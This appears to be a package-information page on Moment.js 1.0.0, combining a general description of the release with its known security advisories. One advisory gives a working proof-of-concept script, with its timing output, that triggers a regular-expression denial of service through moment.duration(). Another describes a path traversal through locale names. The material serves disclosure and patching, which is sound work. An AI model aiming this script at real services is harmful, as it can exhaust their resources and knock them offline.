Moment.js version 1.0.0 marks a significant milestone in the evolution of this popular JavaScript date library. Released in December 2011, it provides developers with a foundational tool for handling dates and times in web applications, differing greatly from whatever came directly before it considering it is the first stable release. This initial stable version delivers core functionalities like creating, parsing, manipulating, and formatting dates, all without modifying the native JavaScript Date object, which is known for its inconsistencies across browsers. Developers can now reliably perform common date-related tasks such as adding or subtracting days, months, or years, and displaying dates in user-friendly formats.
While this initial release lacks the extensive features and plugins available in later versions, it establishes the fundamental API and design principles that would define Moment.js for years to come. Given it is the first stable release, developers moving from alternative solutions likely found its concise syntax and focus on immutability greatly beneficial. The repository information reveals its origin point for collaborative improvements. The release date offers historical context, placing it within the early development stages of modern web technologies. Developers starting new projects or maintaining older ones might find it interesting to study the origin and evaluate the initial characteristics of Moment.js. For modern development, it's largely a historical reference point and not something that would be used directly in new projects.
All the vulnerabilities related to the version 1.0.0 of the package
Regular Expression Denial of Service in moment
Versions of moment prior to 2.11.2 are affected by a regular expression denial of service vulnerability. The vulnerability is triggered when arbitrary user input is passed into moment.duration().
var moment = require('moment');
var genstr = function (len, chr) {
var result = "";
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
for (i=20000;i<=10000000;i=i+10000) {
console.log("COUNT: " + i);
var str = '-' + genstr(i, '1')
console.log("LENGTH: " + str.length);
var start = process.hrtime();
moment.duration(str)
var end = process.hrtime(start);
console.log(end);
}
$ node moment.js
COUNT: 20000
LENGTH: 20002
[ 0, 618931029 ]
COUNT: 30001
LENGTH: 30003
[ 1, 401413894 ]
COUNT: 40002
LENGTH: 40004
[ 2, 437075303 ]
COUNT: 50003
LENGTH: 50005
[ 3, 824664804 ]
COUNT: 60004
LENGTH: 60006
[ 5, 651335262 ]
Please update to version 2.11.2 or later.
Regular Expression Denial of Service in moment
Affected versions of moment are vulnerable to a low severity regular expression denial of service when parsing dates as strings.
Update to version 2.19.3 or later.
Path Traversal: 'dir/../../filename' in moment.locale
This vulnerability impacts npm (server) users of moment.js, especially if user provided locale string, eg fr is directly used to switch moment locale.
This problem is patched in 2.29.2, and the patch can be applied to all affected versions (from 1.0.1 up until 2.29.1, inclusive).
Sanitize user-provided locale name before passing it to moment.js.
Are there any links users can visit to find out more?
If you have any questions or comments about this advisory: